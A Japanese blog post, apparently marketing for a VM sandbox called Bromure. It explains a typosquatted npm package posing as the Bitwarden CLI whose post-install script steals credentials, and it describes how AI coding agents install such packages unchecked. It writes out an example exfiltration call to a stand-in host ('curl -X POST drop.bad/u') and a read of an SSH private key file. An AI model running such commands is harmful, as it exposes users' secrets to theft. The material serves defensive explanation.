あなたのコーディングエージェントは偽の Bitwarden をインストールしました
4 月 22 日、誰かが @bitwarden/[email protected] という名前の悪意ある npm パッケージをアップロードしました。これはタイポスクワットで、実行したマシンから SSH 鍵、AWS/Azure/GCP のクレデンシャル、GitHub トークン、npm 公開トークン、kubeconfig を一掃します。このパッケージが餌にしようとしているのは、まさに今どきのコーディングエージェントが何も考えずにやっていること――npm が返してきたものを片っ端からインストールすることです。本記事では、その攻撃チェーンの姿と、エージェントをラップトップではなく Bromure の VM の中で動かしたときに何が変わるかを示します。
先週、誰かが @bitwarden/[email protected] という名前の npm パッケージを
アップロードしました。本物の Bitwarden CLI は無事です。偽物のほうは
タイポスクワットで、post-install スクリプトが開発者の SSH 鍵、AWS
クレデンシャル、npm トークン、kubeconfig を読み取り、誰かが借りた
IP 空間のサーバーへその束を POST していました。この話には小さな
ジョークが埋まっています ――偽のパスワードマネージャーの本当の
仕事がクレデンシャル泥棒だった、というジョークです。ただ、より
実用的な観察は、2026 年に npm install @bitwarden/cli と打つ可能性が
最も高いのは、もはや人間の開発者ではないということです。それは、
パッケージマネージャーが返してきたものを何でもインストールする
コーディングエージェントです。
さて。ニュースを 3 文でまとめます。
2026 年 4 月 22 日、誰かが npm に @bitwarden/[email protected] という
名前でパッケージを公開しました。Unit 42 のレポート
によれば、このパッケージは TeamPCP と名乗るグループ ―― Datadog が 3 週間
前に LiteLLM の PyPI 侵害と結びつけた
のと同じ連中 ―― に帰属するタイポスクワットで、その post-install
スクリプトはホストを走査して AWS、Azure、GCP のクレデンシャル、npm
公開トークン、GitHub トークン、SSH 鍵、kubeconfig を集め、まとめて
攻撃者のインフラへ送り出していました。OX Security は同じ事件をより
広い文脈に置き直して、これを
Shai-Hulud の三度目の到来
と呼んでいます ―― 2025 年 9 月以来、何千もの npm パッケージを
食い荒らし、いっこうに止まる気配のない、自己複製型サプライチェーン
ワームの最新エントリです。
これから何をすべきかを話す前に片付けておきたいジョークは、こうです。 偽の Bitwarden CLI は、ある意味で、Bitwarden CLI がやるべきことを ちょうどやっています。 その仕事はたくさんのクレデンシャルを把握 することです。問題のクレデンシャルが、ユーザーが申し込んだものでは なかった、というだけの話です。とにかく、攻撃そのものはメカニカルには 退屈です。面白いのは ―― そしてこの事件を 1 本の記事に値させて いるのは ―― 誰がこれをインストールするのか、です。
もう誰も打たなくなったパッケージ。
本物の Bitwarden CLI が欲しい人間の開発者は、たいてい bitwarden.com/help/cli に行き、 ドキュメントを読んで、TLS 証明書チェーンが見覚えのあるベンダーに つながっているページからインストールコマンドをコピーして打ちます。 打ち間違えることはあるでしょう ―― それこそタイポスクワットの 前提です ―― が、そのためには急いでいて、暗くて、運も悪くなければ なりません。
コーディングエージェントは急いでも、暗くても、運が悪くもありません。
彼らはもっと悪いものです ―― 機械の速度で、自信たっぷりに間違えます。
あなたが Claude Code に「Bitwarden をつないで、デプロイ
スクリプトが API キーを vault から取れるようにして」と頼むと、
モデルは ――『npm install -g @bitwarden/cli と書かれた 100 万本の
ブログを読んでいる』モデルは ―― npm install -g @bitwarden/cli と
打ちます。パッケージマネージャーは @bitwarden/cli という名前の
あるパッケージを返してきます。publisher 欄を確認する人間はループの
中にいません。bitwarden.com の証明書チェーンを検査するものも
ありません ―― 証明書チェーンは npm そのものだからです。実際、
エージェントが、パッケージに同梱された post-install スクリプトを
実行しない理由は何もありません。それが npm パッケージのやることだから
です。
この絵で気づくべきことは、どの部分も「バグ」ではないということです。
npm パッケージは postinstall スクリプトを同梱できます。これらの
スクリプトは npm を呼び出したユーザーと同じ権限で動きます。
ユーザーとして動くスクリプトは、ユーザーが読めるものすべてを
読めます。それには ―― そしてエージェントがタイピングしているとき
に問題になるのは、まさにこの部分です ―― ~/.ssh/id_ed25519、
~/.aws/credentials、他のパッケージを再公開できる
~/.npmrc の npm 公開トークン、シェルに座っている GitHub
トークン、本番に対して kubectl exec できる kubeconfig が
含まれます。あなたはそれをエージェントのために置いたのではあり
ません。自分のために置いたのです。エージェントは今、あなたの
手を使っています。
ここで、もし 2018 年に同じ問題を売り込んでいたら、私は今ごろ 「だからサンドボックスを使うべきだ」と言うでしょう。そしてあなたは 当然「サンドボックスなら聞いたことがある」と言うでしょう。そして 私たちは二人でコーヒーを取りに行くでしょう。私が 2026 年にこの記事を 書いている理由は、@bitwarden/cli シナリオを実際に非イベント化する サンドボックスの形が、過去 10 年間提示されてきたものとは少し違う からです。そしてその違いこそが要点です。
本当の修正の形。
これを Mac で動かす代わりに、コーディングエージェントが、あなたが
指定したプロジェクトフォルダだけを共有する Linux VM の中で動くと
仮定します。その VM の ~/.aws/credentials が、構文的には正しいが
中身は本物ではないスタブのファイルだと仮定します。~/.npmrc、
$GH_TOKEN、その他についても同様だとします。VM には
~/.ssh/id_ed25519 が一切なく、ホスト側の境界の向こう、macOS の
キーチェーンに鍵が置かれた、転送された ssh-agent ソケットだけが
あると仮定します。最後に、ホストには小さなプロキシがあり、回線上の
これらのスタブトークンを認識して本物に置き換えるが、それを
ホワイトリストに載ったエンドポイントだけ、しかもリクエストが実際に
ハイパーバイザを離れる瞬間にだけ行うと仮定します。
ここで、@bitwarden/cli の post-install スクリプトをその VM の中で
動かしてみてください。スクリプトは前と全く同じことをします。
~/.aws/credentials を読みます。~/.npmrc を読みます。
$GH_TOKEN を読みます。ssh-agent ソケットファイルの中身まで
読みますが、これは Unix ドメインソケットなので 0 バイト長です。
全部をまとめ、ハードコードされた RSA-4096 鍵で暗号化し、ドロップ
サーバーへ POST します。
ドロップサーバーは、暗号学的に完璧に正しい、プレースホルダーの 束を受け取ります。
絵の中で立ち止まる価値のある細部がいくつかあります。それがこの設計と コンテナの違いだからです。
ひとつ目は、プロキシがアウトバウンドで、ホワイトリストで、
回線上にあるということです。VM の中のサイドカーではありません。
VM が本物の GitHub トークンを到達可能な形で持つことは一切ありません。
ダンプできる環境変数も、読めるファイルも、スクレイピングできる
メモリページもありません。エージェントが git push を実行すると、
リクエストは Authorization ヘッダにスタブを乗せて VM を出ます。
ホスト側のプロキシがスタブを認識し、あなたの本物の ghp_… を差し
込み、リクエストを転送し、レスポンスを返します。マルウェアが
curl -X POST drop.bad/u を実行すると、プロキシは drop.bad を
ホワイトリストで照合し、見つけられず、リクエストを破棄するか ――
VM のエグレスポリシー次第では ―― そのまま、マルウェアがつかんだ
スタブとともに転送します。いずれにせよ、本物のクレデンシャルは、
マルウェアが見ていた唯一の瞬間に、境界の反対側にいます。
ふたつ目は、SSH 鍵がいかなる意味でも VM の中にないということです。
ssh-agent は macOS で動きます。エージェントの秘密鍵は macOS の
キーチェーンに住んでいます。Bromure はエージェントのソケットを ――
OpenSSH が 90 年代からやってきたのと同じやり方で、同じ理由で ――
VM の中に転送します。VM の中では ssh も git もいつもどおり
動きます。基礎となる署名操作はホスト側で起き、VM の中で動いている
マルウェアからは見えません。cat ~/.ssh/id_ed25519 をするパッケージ
には No such file or directory が返り、それは家に帰ります。
なぜコンテナではここまで来られないのか。
聞いてください。この時点での反論 ―― 正当なものです ―― は「OK、でも うちは Docker を 10 年使っていて、エージェントをコンテナの中で動かす こともできる、それで十分じゃないの?」というものです。それで十分 だったでしょう。退屈な理由が 2 つあるのを除けば。
ひとつ目は、コンテナをコーディングエージェントが実際にやること ――
git push、gh pr create、aws s3 cp、npm publish、
kubectl exec ―― に役立たせるためには、最終的に ~/.ssh、
~/.aws/credentials、~/.npmrc、GitHub トークンをコンテナの
中にマウントすることになる、ということです。その時点で、
post-install スクリプトは cat ~/.ssh/id_ed25519 を実行して本物の
ファイルを手に入れます。コンテナにはクレデンシャルブローカーは
ありません。あるのはバインドマウントだけです。バインドマウントは、
まさにマルウェアが探していた柔らかいお腹です。
ふたつ目は、macOS では、コンテナはどのみち隠れた Linux VM の中で 動いているということです。Docker Desktop は VM を同梱しています。 OrbStack もそうです。Colima もそうです。あなたはすでに VM の コスト ―― ディスク、メモリ、起動時間 ―― を払っています。2026 年の macOS でコンテナを使う論拠は「軽いから」ではありません。「使い慣れて いるから」です。Bromure は中間層を切り取ります。VM はひとつ。 それは目に見え、設定でき、あなたのものです。クレデンシャル ブローカーと ssh-agent 転送は、コンテナモデルが物語をもたなかった 部分です。
あなたが読むつもりのなかった壁を、トレースは捕まえる。
エージェントが誰も頼んでいない何かをインストールするとき、もう
ひとつ言うべきことがあります。たいていの場合、誰も気づいていない、
ということです。エージェントが npm install を実行し、エージェントは
壁のような出力を受け取り、エージェントは「Bitwarden CLI を
インストールして設定しました」とチャットで一文に要約し、あなたは
それをスクロールして通り過ぎます。post-install スクリプトはその壁の
真ん中で動きました。あなたは壁を読んでいませんでした。誰も壁を
読みません。
Bromure のセッショントレーサーはその壁を捕まえます ―― すべての
プロンプト、すべてのツール呼び出し、すべてのシェルコマンド、
すべてのファイル書き込み、すべての終了コード ―― そしてセッションが
終わったあとに、それを遡ってスクロールできるようにします。
「今日、エージェントが走らせた npm install を全部見つけて」は
grep です。「エージェントはプロジェクトフォルダの外に書き込む
ツールを走らせたか?」も grep です。次の
@bitwarden/[email protected] が現れたときに ―― 必ず現れます ――
トレースは、どのセッションがそれに触れたか、その時どのプロジェクト
フォルダがマウントされていたかを教えてくれます。記憶や、断片的な
スクロールバックから再構成する必要はありません。セッションそれ自体
が監査ログです。
これが捕まえること
Bromure VM の中で @bitwarden/cli (あるいは litellm、
axios、次のもの) をインストールするコーディングエージェントは、
クレデンシャルを探しに行ったとき、空の SSH ディレクトリと
スタブだけのキーリングを見つけます。post-install スクリプトは
動きます。exfil POST は出ていきます。バンドルはプレースホルダー
です。被害半径は VM です。
リセットが非イベントに変えるもの
マルウェアがクレデンシャル盗難を超えて何かをした場合 ――
crontab への永続化、汚染された ~/.bashrc、ゲスト内での
launchd 相当物 ―― そのどれも次の bromure reset を
生き延びません。永続化を見つける必要はありません。捨てる
だけです。3 秒、新品のカーネル、コーディング再開。
これが捕まえないこと
あなたがホワイトリストに入れた本物のバックエンドを呼ぶ
パッケージは ―― たとえばあなたの本物の GitHub トークンを
使ってあなた自身のリポジトリを削除するパッケージは ――
回線上で本物のトークンを受け取ります。設計どおりです。
git push がそういう仕組みだからです。防御は小さなエグレス
ホワイトリストとセッショントレースであって、全知ではあり
ません。プロジェクトフォルダ内のダメージは、依然として
プロジェクトフォルダ内に降りかかります。
人間がまだ要るもの
Bromure には、コーディングエージェントが悪いコードを コミットさせられるのを止めるものはありません。境界はあなたの マシン上のクレデンシャルを守ります。差分はレビューしません。 差分を読みましょう。トレースは、どの差分を読むべきかを知る のを楽にします。
最後にひとつ。
この話の別バージョンでは、教訓は「依存関係を監査せよ」になります。 さらに別のバージョンでは、教訓は「npm を使うのをやめよ」になります。 両方のバージョンが存在し、両方とも部分的には正しく、そしてどちらも 今四半期にあなたのチームでは起きません。
今四半期に実際にあなたのチームで起きるのは、エージェントが 本来インストールすべきでなかったものをインストールするということです。 エージェントはたくさんのものをインストールし、そのロングテールの どこかに、先週水曜日に TeamPCP やら Shai-Hulud やら、次のグループが 名乗るそれが何であれ、自称○○の誰かがアップロードしたものが あるからです。問いはただひとつです ―― それが起きたとき、 post-install スクリプトはシークレットを見つけるのか、それとも壁を 見つけるのか。
Bromure Agentic Coding はその壁です。無料で、 オープンソースで、本日リリース。ボールはあなた側です。